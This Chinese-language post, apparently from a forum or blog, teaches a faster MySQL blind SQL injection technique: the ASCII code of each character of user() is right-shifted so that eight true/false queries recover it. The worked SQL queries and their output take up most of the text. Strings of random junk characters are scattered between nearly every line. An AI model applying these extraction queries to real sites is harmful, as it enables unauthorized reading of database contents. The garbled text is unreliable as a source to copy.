关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位

$ p& e8 k4 r5 S% v" Z1 T  D; `

下面将以查询mysql数据库当中user()的第一位为例:
) }; ?7 X" B. v) e4 m

( o- E3 V/ X1 I
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

9 {5 E( D7 ?& w/ p
. `3 [9 P) D9 ^7 d; |
! y0 B5 a+ M+ h' [0 h首先执行如下sql语句:


) U% f* S0 M- |' f: ?
9 M. ?' _- E5 o8 e1 F. Pmysql> select (ascii((substr(user(),1,1))) >> 7)=0;


" D0 M5 v0 I9 R8 I4 S5 p: {
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的



第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



' M! A& O* V# @: J2 t/ L如果运算结果为1,说明第一位为0,不为1

6 n; D; d6 a' U1 Q' d: B
. l# B' {2 v4 f* F3 @3 ^
6 I, Q6 w3 ~/ r+————————————–+
* w* r+ s, U. i- _0 ?/ i1 |6 b# X
; `0 ~8 l) ^6 J1 ]2 t! u! i% z| (ascii((substr(user(),1,1))) >> 7)=0 |
! \# @9 z* Z& A
+————————————–+
7 u# h( ~2 x: N3 L2 U8 J# F
, S: }3 s. q' a1 X" W| 1 |

& a' A; `; z$ T3 H+————————————–+
7 Y. E) y* x3 R$ Q1 f$ L. o4 R
5 @5 N- S$ e' Y6 p1 row in set (0.00 sec)

& l& p- I* P7 A& e% H( H0 G# e这样我们就确定这个8bit的ascii的第一位为0
+ c% J& `0 E1 \
* k/ v( }0 C2 v& K

0 j6 \3 p; p$ E/ f, v第二次我们来做6次右偏移来确定前两位
" v# q4 H% S2 ]$ U! d


9 r% c- N4 e0 U2 Z前两位可能是01或00,即依然可以与0做比较,
' I+ r% U& L+ z; j# y
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
# Y' U* I' i* r
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
# W# Z, u; }- O7 K  U" r9 c
+————————————–+
. T9 h0 }" [6 D' M
| 0 |
! Y6 ~5 g* @$ Q" K- a% O( h8 ~0 {0 N
+————————————–+
- g( p) {; \: M
( @* H7 r. q9 n1 z4 f% j9 x8 f! P4 B, `1 row in set (0.00 sec)



结果为0,即第二位为1
& O9 X" ]3 V, p; H, D3 M$ [% i
7 T. s, m# U, F# W7 W  {8 S

2 ^5 a( A# P0 C1 q8 Q" S开始猜测前三位为010或011

! V+ J1 u5 B& e6 M( C7 D
9 H1 B1 X% e/ m; W8 p$ A
6 l1 b- a  z$ E让我们看看010和011的ascii码是多少

: J, \6 }1 L' ^
5 r" {8 r5 R0 V7 H0 L
% J' g" ]) n8 d8 ]分别查询select b’011′ select b’010′
+ |# l3 J* R6 E* K  }; [; J

% L0 p% N; M1 `
; o0 r( j" l: \* n- R( N获得结果 010 = 2 011 = 3

5 t3 H' G# i' @( `2 ]
5 s# Z3 }. T; E6 v$ A
$ J2 {  k7 Q) a8 M执行如下sql:



mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

4 A! }$ H/ }& N+————————————–+

# a+ `0 b3 w0 T' A1 G| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

| 0 |

6 x" v9 `0 ~, d! [& j6 r3 q+————————————–+
" o/ l7 [9 A, H( A  K) z" I  a3 E
' z5 o% C- X2 r* {  m即前三位不为010,而是011

  `- Y& q; j$ a# ^7 R" S
. ]: t9 _9 T) L
7 \% V5 R1 ?  }5 Y8 t( ?直到获得最后一位
# d; ^8 }- A3 p5 Z! ~, ^$ u

& V& G3 d- M& y$ p5 P! N! |( [" z
% c+ l1 k3 p& e2 Q  {1 F最终结果为:01110010
! z. S* C( s$ E; v( b9 M


转换一下:

8 d" d8 C! W# A$ Y5 j
4 z7 p0 s; |" H: h4 h, _' R5 w+ Y
select b’01110010′

6 j& A# r$ O* A' ]0 @
) d: N; r' [  |! {8 Q0 N% i( k0 G
查询结果
: H$ _4 h6 S! r8 U. ]1 l1 M$ B


+————-+
3 _9 Y& |% K( L4 X5 o
| b’01110010′ |
/ V6 `& Z5 z+ {0 P: W
+————-+

| r |

+————-+
1 d0 I1 c$ v" c* r6 R* }
1 row in set (0.00 sec)
1 R& s- h  ?9 y& M) X: v$ K
  A: w- W+ @' O  h8 [

这样我们就获得了user()的第一位.其它位依此类推
: @9 r; s) d% {
4 v- @' Y" ?/ b